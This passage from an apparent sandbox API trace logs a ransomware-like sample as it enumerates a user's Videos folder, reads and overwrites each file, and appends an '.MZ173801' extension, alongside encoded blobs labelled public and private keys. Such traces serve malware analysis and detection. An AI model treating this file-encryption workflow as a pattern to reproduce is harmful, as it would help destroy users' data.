lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0164.934] GetCurrentThreadId () returned 0xab4 [0164.934] GetCurrentThreadId () returned 0xab4 [0164.934] GetCurrentThreadId () returned 0xab4 [0164.934] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Xa5aL.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\xa5al.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0164.934] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0164.935] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0164.935] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x11298 [0164.935] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0164.935] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x11298, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x11298, lpOverlapped=0x0) returned 1 [0164.936] CloseHandle (hObject=0x278) returned 1 [0165.020] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Xa5aL.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\xa5al.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0165.021] WriteFile (in: hFile=0x278, lpBuffer=0x24b2040*, nNumberOfBytesToWrite=0x11298, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b2040*, lpNumberOfBytesWritten=0x19fa24*=0x11298, lpOverlapped=0x0) returned 1 [0165.023] CloseHandle (hObject=0x278) returned 1 [0165.029] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\Xa5aL.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\xa5al.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\Xa5aL.mkv.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\xa5al.mkv.mz173801")) returned 1 [0165.031] GetCurrentThreadId () returned 0xab4 [0165.031] GetCurrentThreadId () returned 0xab4 [0165.031] GetCurrentThreadId () returned 0xab4 [0165.031] GetCurrentThreadId () returned 0xab4 [0165.031] GetCurrentThreadId () returned 0xab4 [0165.031] GetCurrentThreadId () returned 0xab4 [0165.031] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6b50460, ftCreationTime.dwHighDateTime=0x1d5f0b4, ftLastAccessTime.dwLowDateTime=0xc2a93e90, ftLastAccessTime.dwHighDateTime=0x1d5f002, ftLastWriteTime.dwLowDateTime=0xc2a93e90, ftLastWriteTime.dwHighDateTime=0x1d5f002, nFileSizeHigh=0x0, nFileSizeLow=0x11298, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Xa5aL.mkv", cAlternateFileName="")) returned 0 [0165.031] GetLastError () returned 0x12 [0165.031] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0165.031] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x8c82d964, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8c82d964, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0165.031] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0165.031] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0165.031] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x8c82d964, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8c82d964, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.032] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0165.032] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0165.032] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12cb9a0, ftCreationTime.dwHighDateTime=0x1d5e73c, ftLastAccessTime.dwLowDateTime=0xa15979d0, ftLastAccessTime.dwHighDateTime=0x1d5eeb3, ftLastWriteTime.dwLowDateTime=0x8bfffa13, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xe379, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="1_2OVvk.avi.MZ173801", cAlternateFileName="1_2OVV~1.MZ1")) returned 1 [0165.032] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0165.032] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0165.032] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7bb53770, ftCreationTime.dwHighDateTime=0x1d5ec45, ftLastAccessTime.dwLowDateTime=0xd7f86af0, ftLastAccessTime.dwHighDateTime=0x1d5ee4a, ftLastWriteTime.dwLowDateTime=0xd7f86af0, ftLastWriteTime.dwHighDateTime=0x1d5ee4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="7uaJhnURa", cAlternateFileName="7UAJHN~1")) returned 1 [0165.032] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0165.032] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0165.032] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\7uaJhnURa\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7bb53770, ftCreationTime.dwHighDateTime=0x1d5ec45, ftLastAccessTime.dwLowDateTime=0xd7f86af0, ftLastAccessTime.dwHighDateTime=0x1d5ee4a, ftLastWriteTime.dwLowDateTime=0xd7f86af0, ftLastWriteTime.dwHighDateTime=0x1d5ee4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0165.032] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7bb53770, ftCreationTime.dwHighDateTime=0x1d5ec45, ftLastAccessTime.dwLowDateTime=0xd7f86af0, ftLastAccessTime.dwHighDateTime=0x1d5ee4a, ftLastWriteTime.dwLowDateTime=0xd7f86af0, ftLastWriteTime.dwHighDateTime=0x1d5ee4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0165.032] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b8e5b0, ftCreationTime.dwHighDateTime=0x1d5e12f, ftLastAccessTime.dwLowDateTime=0x919e4450, ftLastAccessTime.dwHighDateTime=0x1d5e623, ftLastWriteTime.dwLowDateTime=0x919e4450, ftLastWriteTime.dwHighDateTime=0x1d5e623, nFileSizeHigh=0x0, nFileSizeLow=0x1365a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="MZb5e8JNXGX.mp4", cAlternateFileName="MZB5E8~1.MP4")) returned 1 [0165.032] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0165.032] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0165.032] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\7uaJhnURa\\MZb5e8JNXGX.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\7uajhnura\\mzb5e8jnxgx.mp4"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b8e5b0, ftCreationTime.dwHighDateTime=0x1d5e12f, ftLastAccessTime.dwLowDateTime=0x919e4450, ftLastAccessTime.dwHighDateTime=0x1d5e623, ftLastWriteTime.dwLowDateTime=0x919e4450, ftLastWriteTime.dwHighDateTime=0x1d5e623, nFileSizeHigh=0x0, nFileSizeLow=0x1365a)) returned 1 [0165.032] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\7uaJhnURa\\MZb5e8JNXGX.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\7uajhnura\\mzb5e8jnxgx.mp4")) returned 0x20 [0165.032] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\7uaJhnURa\\MZb5e8JNXGX.mp4", dwFileAttributes=0x80) returned 1 [0165.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0165.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0165.036] GetCurrentThreadId () returned 0xab4 [0165.036] GetCurrentThreadId () returned 0xab4 [0165.036] GetCurrentThreadId () returned 0xab4 [0165.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0165.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 